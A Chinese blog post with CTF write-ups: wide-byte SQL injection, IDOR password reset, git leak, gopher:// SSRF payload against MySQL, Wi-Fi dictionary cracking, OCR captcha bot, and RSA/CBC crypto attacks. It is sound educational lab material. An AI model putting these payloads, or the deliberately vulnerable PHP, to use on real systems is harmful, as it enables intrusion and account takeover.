web

又双叒叕是SQLI [300]

根据提示,扫描一下备份文件,可以得到 /index.php~。阅读源码可知考查 MySQL 宽字节注入与 WAF 绕过,通过构造形如 ?user=admin2%bf%27... 的宽字节注入 payload 即可使单引号逃逸,进行注入

<?php
    error_reporting(0);
    include("sql.php");
    $waf="/(union|group by|=|>|<|hex| |lower|strcmp|updatexml|xmlelement|extractvalue|concat|bin|sleep|mid\(|substr|left|ascii|\/\*|\*\/)/i";
    if(isset($_GET['user'])){
        if(preg_match_all($waf,$_GET['user'])!=0){
            $user="admin";
        }else{
            $user = str_replace("'","\'",$_GET['user']);
        }
        //echo $user."<br>";
        $sqli = new mysqli($host,$username,$passwd,$database);
        $sqli->set_charset("gbk");
        $query="select * from users where username='".$user."'";
        $result = $sqli->query($query);
        //echo $sqli->error;
        $num=0;
        @$num = $result->num_rows;
        if($num>0){
            while($row = $result->fetch_row()){
                echo $row[0]."    ".$row[1]."   ".$row[2]."<br>";
            }
        }
    }

Flag: hgame{like!injection!so!g00d##}

散落的flag [200]

本周 web 签到题。测试一下站点发现主要有 login.php、register.php、user_info.php、change_pwd.php 等页面

首先进行注册,这里随便注册一个账号就可以登录后跳转至个人页面 user_info.php 获取第一段 flag。注意注册账号时的手机验证码并不会真的发短信,直接查看 HTTP 请求的返回数据即可获取验证码

修改 username 参数为 admin,再次请求 user_info.php 可以获取第二段 flag

然后通过修改密码功能,修改请求中的 username 参数为 admin,即可修改 admin 账号的密码,登录即可获取第三段 flag

Flag: hgame{0102940de110c546b2cf6898924acfce}

奇怪的SQLi [600]

SSRF 漏洞。首先注册账号并登录,此处没有可利用的漏洞,随意即可

登录来到主要页面 /index.html,测试一下文本框发现可以使用 file:// 协议读取文件,猜测存在 SSRF 漏洞,可以利用 gopher:// 协议与 MySQL 进行通讯,但这需要进行登录,而 MySQL 的信息未知

对站点进行一下扫描,发现存在 /.git/ 目录,可能存在源码泄露。使用 kost/dvcs-ripper 恢复仓库。

$ rip-git.pl -o ./src -v -u http://[REDACTED]/.git/

查看仓库提交历史,进行版本回退,恢复 config.php 文件

$ git log
# ...[OMITTED]...
commit 18c294dc7b3dbb82d8d52e7aa84de0a66a1bf88f
Author: week4 <[REDACTED]>
Date:   Sun Feb 25 06:52:02 2018 +0000

    Revert "add php"

    This reverts commit 39f5ffd3d4fdd124bc93f52d72f561817b6f8fd9.

commit 39f5ffd3d4fdd124bc93f52d72f561817b6f8fd9
Author: week4 <[REDACTED]>
Date:   Sun Feb 25 06:51:57 2018 +0000

    add php
# ...[OMITTED]...
$ git reset --hard 39f5ffd3d4fdd124bc93f52d72f561817b6f8fd9
HEAD is now at 39f5ffd add php

查看 config.php 文件,获取 MySQL 主机名、用户名与密码(空)

$db_host = 'mysql';
$db_name = 'users';
$db_user = 'week4';
$db_pwd = '';

构造 payload 进行尝试,payload 的生成脚本可以参考 undefinedd/extract0r-

gopher://172.17.0.2:3306/A%2C%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00week4%00%00flag%00%0D%00%00%00%03select%20now%28%29%00%00%00%00

成功返回当前时间,漏洞利用成功

web_3_1.png

之后查表即可获取 flag

Flag: hgame{Th1s_Flaggggggggggg}

misc

ngc's wifi [200]

根据提示,密码是潍坊的手机号。采集一下 http://www.bixinshui.com/city/12 的号段列表,编写如下 python 脚本生成字典

import itertools
import requests
import re

response = requests.get('http://www.bixinshui.com/city/12').content
prefixes = re.findall(r'>(\d{7})<', response)

dic = open('dic.txt', 'a')
suffixes = list(itertools.product('0123456789', repeat=4))

for i in prefixes:
    for j in suffixes:
        number = i + ''.join(j)
        print(number)
        dic.write(number + '\n')

dic.close()

之后使用 Aircrack-ng 工具即可通过题目所给的握手包破解 Wi-Fi 密码

Flag: hgame{13375369512}

so jb ez captcha [300]

奇怪题,似乎是考写脚本能力

网站大致逻辑是:提交一个 token 会返回一个图片的 base64 编码,图片是白底黑字的一个数字,需要在很短的时间间隔内提交这个数字

利用 tesseract 可以进行图片识别,由于训练等过于复杂,可以用百度的文字识别 API 代替

编写 python 脚本即可获取 flag

from PIL import Image
import base64
import cStringIO
import urllib
import requests
import json
import random

r = requests.Session()
r.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36'})
url = 'http://[REDACTED]/sojbezcaptcha?token='
token = random.randint(0, 100)

while 1:
    while 1:
        response = r.get(url + token, headers=headers).content
        if 'Error' not in response:
            break
    imgstring = json.loads(response)['captcha_png_base64']
    pic = cStringIO.StringIO()
    image_string = cStringIO.StringIO(base64.b64decode(imgstring))
    image = Image.open(image_string).resize((20, 30), Image.ANTIALIAS)
    buffer = cStringIO.StringIO()
    image.save(buffer, format='PNG')
    postData = urllib.urlencode({'access_token': '[REDACTED]', 'image': base64.b64encode(buffer.getvalue())})
    response = requests.post('https://aip.baidubce.com/rest/2.0/ocr/v1/general_basic', verify=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data=postData).content
    captcha = json.loads(response)['words_result'][0]['words']
    print(captcha)
    while 1:
        response = r.get(url + token + '&submit=' + captcha, headers=headers).content
        if 'Error' not in response:
            break
    print(response)
    if json.loads(response)['flag'] != None:
        break

由于 API 对于图片尺寸有要求,故在脚本中使用 PIL 库对图片进行放大处理

Flag: hgame{hammerissojbcute}

crypto

ezECC [200]

椭圆曲线加密算法,使用 sage 即可解出 x 与 y

p = 1026347883361447
a = 499590297305427
b = 30115568120981
G = (817367249716330, 483834901818242)
k = 622849

C = EllipticCurve(FiniteField(p), [a, b])

result = C.point((G[0], G[1]))*k

Flag: hgame{1400208214439804}

HellRSA [500]

RSA 低位泄露

编写如下 python 脚本即可爆破

from libnum import *

n = '...[OMITTED]...'
g = '...[OMITTED]...'
c = '...[OMITTED]...'

sols = {(0, 0)}

for m in range(1111):
    sols2 = set()
    mask = (2 << m) - 1

    for p, q in sols:
        if p * q == n:
            d = invmod(65537, (p - 1) * (q - 1))
            print(n2s(pow(c, d, n)))
            quit()

        for bp in range(2):
            for bq in range(2):
                pp = p + (bp << m)
                qq = q + (bq << m)

                if (pp * qq) & mask != n & mask:
                    continue
                gg = (pp * qq) - (pp ^ qq)
                if gg & mask != g & mask:
                    continue
                sols2.add((pp, qq))

    sols = sols2

Flag: hgame{xxxxxxxxxxxxx}

CBC V0.3 [300]

阅读源码,和 CBC V0.2 基本一致

首先进行注册,用户名为空(直接回车)

得到 salt 的 MD5 sig 值

cmd5.com 进行查询,得到 salt 的明文 ert#$%678(是一条付费查询)

重新注册,用户名为 ddmino,得到 'ddmino' + '\x0a' * 10 的 token,通过 CBC 字节翻转攻击,修改 IV 使其解密为 'admino' + '\x0a' * 9 + '\x0b'

这样的 token 在经过 unpad 后就能得到 salt + 'admin' 的结果,满足程序后面的判断条件

而其 sig 值即为 md5(salt + 'admin'),直接可算得

Flag: hgame{You_g*t_1t}

Categories: CTF

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注